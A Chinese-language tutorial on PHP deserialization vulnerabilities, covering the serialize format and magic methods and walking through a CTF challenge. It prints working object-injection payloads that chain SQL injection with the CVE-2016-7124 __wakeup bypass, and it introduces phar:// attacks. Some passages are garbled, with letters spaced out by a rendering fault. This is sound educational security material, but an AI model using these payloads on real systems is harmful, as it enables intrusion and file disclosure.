简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。
序列化的对象可以是class也可以是Array,string等其他对象。
boolean
b:
b:1;
// true b:0;
// false
integer
i:
double
d:
NULL
N;
string
s:
s:1:"s";
array
a:
a:1:{s:4:"key1";s:6:"value1";}
// array("key1" => "value1");
object
O:
我们总结下序列化的流程 :
当没有魔法函数时,序列化类名–>利用递归序列化剩下的结构
当存在魔法函数时,调用魔法函数__sleep
–>利用ZEND_VM引擎解析PHP操作—>返回需要序列化结构的数组–>序列化类名–>利用递归序列化__sleep
的返回值结构。
我们可以从上面可以看到,反序列化流程相对于序列化流程来说并没有因为是否出现魔法函数来对流程造成分歧。Unserialize流程如下:
获取反序列化字符串–>根据类型进行反序列化—>查表找到对应的反序列化类–>根据字符串判断元素个数–>new出新实例–>迭代解析化剩下的字符串–>判断是否具有魔法函数__wakeup并标记—>释放空间并判断是否具有具有标记—>开启调用。
当一个类被初始化为实例时会调用__construct
,当被销毁时会调用__destruct
。
当一个类调用serialize进行序列化时会自动调用__sleep
函数,当字符串要利用unserialize反序列化成一个类时会调用__wakeup
函数。上述魔法函数如果存在都将会自动进行调用。不用自己手动进行显示调用。
php在反序列化的时候会调用 __wakeup
/ __sleep
等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。
另外 __toString
/ __call
两个函数也有利用的可能。
其中 __wakeup
在反序列化时被触发,__destruct
在GC时被触发, __toString
在echo时被触发, __call
在一个未被定义的函数调用时被触发。
下面提供一个简单的demo.
构造类
class Student{
protected $name = 'Zhangsan';
public $sex = 'man';
function __wakeup(){
echo ' __wake is working'; echo '';
echo 'I am:'.$this->name = 'zhangsan'; echo '';}
function __destruct(){
echo '__destruct is working'; echo '';
echo 'I am:'.$this->name; echo '';}}
将对象序列化为字符串
$Zhangsan = new Student;
$saveData = serialize($Zhangsan); //序列化后的字符串,可以保存在数据库或者文本文件中。
echo 'saveData is===>'.$saveData; echo '';
源码
include "config.php";
class HITCON{
public $method;
public $args;
public $conn;
```
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function source() {
highlight_file(__FILE__);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
```
}
class SoFun{
public $file='index.php';
```
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
```
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
?>
//config.php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>
// flag.php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>
这道题主要考察对php反序列化函数的利用,以及常见的绕过方法。
访问flag.php,显示禁止访问,题目默认显示源码,在下图代码57行,数据库查询内容不为空的情况下,定义常量IN_FLAG,猜测需要满足该条件才能访问flag.php。然后调用loadData函数。
loadData函数,对传入参数进行判断,如果验证通过,则作为参数传入到反序列化函数,验证不通过返回为空,该判断绕过可参考Day11,传入内容来源于数据库查询结果,此时可考虑如何构造数据库查询结果。
在index.php页面显示源码中,我们发现SoFun类,如下图,在__destruct()函数中,会对类变量 t h i s − > f i l e 所 对 应 的 文 件 进 行 包 含 , 类 变 量 反 序 列 化 可 控 , 在 l o a d D a t a 函 数 调 用 前 , 对 I N F L A G 常 量 进 行 了 设 置 , 如 果 l o a d D a t a 函 数 传 入 参 数 值 为 S o F u n 类 反 序 列 化 字 符 串 , 且 控 制 类 变 量 this->file所对应的文件进行包含,类变量反序列化可控,在loadData函数调用前,对IN_FLAG常量进行了设置,如果loadData函数传入参数值为SoFun类反序列化字符串,且控制类变量 this−>file所对应的文件进行包含,类变量反序列化可控,在loadData函数调用前,对INFLAG常量进行了设置,如果loadData函数传入参数值为SoFun类反序列化字符串,且控制类变量this->file=flag.php,则可以包含flag.php文件,此时IN_FLAG
已经设置,可获取到flag,需考虑绕过__wakeup
函数。
考虑如何控制loadData函数传入参数的值,从下图可知,$obj->role
来源于数据库查询结果,而构建sql语句的username字段来源于 u s e r n a m e , username, username,username变量来源于func_get_args()函数,该函数返回包含调用函数参数列表的数组,如果login()函数传入参数可控,可通过union联合查询,构造查询结果,使构造数据为SoFun类序列化字符串。我们去看一下login函数的调用。
在HINCON类__destruct方法中,通过call_user_func_array()**函数调用login或source方法,如果 t h i s − > m e t h o d = ′ l o g i n ′ 则 可 以 调 用 l o g i n ( ) 函 数 , this->method='login'则可以调用login()函数, this−>method=′login′则可以调用login()函数,this->method为类变量,反序列化可控。 t h i s − > a r g s 为 调 用 函 数 传 入 参 数 , 意 味 着 l o g i n 函 数 中 this->args为调用函数传入参数,意味着login函数中 this−>args为调用函数传入参数,意味着login函数中username变量可控,此时可通过SQL注入,构造查询数据。
在进行反序列化时,会调用__wakeup对类变量args进行处理,此时调用mysql_escape_string函数对$this->args进行转义。可通过CVE-2016-7124,序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过**__wakeup**的执行。绕过检测,进行sql注入。
总结一下思路:
1.构造HITCON类反序列化字符串,其中$method='login',$args
数组’username’部分可用于构造SQL语句,进行SQL注入,'password’部分任意设置。
2.调用login()函数后,利用 u s e r n a m e 构 造 联 合 查 询 , 使 查 询 结 果 为 S o F u n 类 反 序 列 化 字 符 串 , 设 置 username构造联合查询,使查询结果为SoFun类反序列化字符串,设置 username构造联合查询,使查询结果为SoFun类反序列化字符串,设置file=‘flag.php’,需绕过__wakeup()函数。
3.绕过oadData()函数对反序列化字符串的验证。
4.SoFun类 __destruct()函数调用后,包含flag.php文件,获取flag,需绕过__wakeup()函数。
payload
O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}}
O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
a:1:{s:2:"xx";O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}
审计代码,可以发现要得到KEY,思路如下:
1、源码最后提示,KEY在flag.php里面;
2、注意到destruct魔术方法中,有这么一段代码,将file文件内容显示出来
show_source(dirname(FILE).’/‘.$this->file),这个是解题关键;
3、若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码);
4、上面的分析是多么美好,但从代码分析可以知道,还有wakeup这个拦路虎,通过unserialize反序列化之后,也会调用wakeup方法,它会把file设为index.php;
5、总结下来就是,想办法把file设为flag.php,调用__destruct方法,且绕过wakeup。
payload
明确了这些之后,就可以构造出Payload了,需反序列化的对象为:
O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
O:5:”SoFun” 指的是 类:5个字符:SoFun
:2: 指的是 有两个对象
S:7:”\00*\00file” 指的是有个属性,有7个字符,名为\00*\00file
s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。另外,还需要经过Base64编码,结果为:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
注:因为传参方式为GET,注意进行URL编码。
O:5:"SoFun":3:{s:4:"file";s:8:"flag.php";s:2:"ff";O:6:"HITCON":5:{s:6:"method";s:5:"login";s:4:"args";a:2:{i:0;s:12:"1' or '1'--+";i:1;s:3:"111";}s:4:"conn";N;}}
综上所述,如果 __wakeup()
或者 __desturct()
有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过!
通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas
分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”,下面我们就来了解一下这种攻击手法。
任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。
:
、/
、phar
等特殊字符没有被过滤。利用 phar 拓展 php 反序列化漏洞攻击面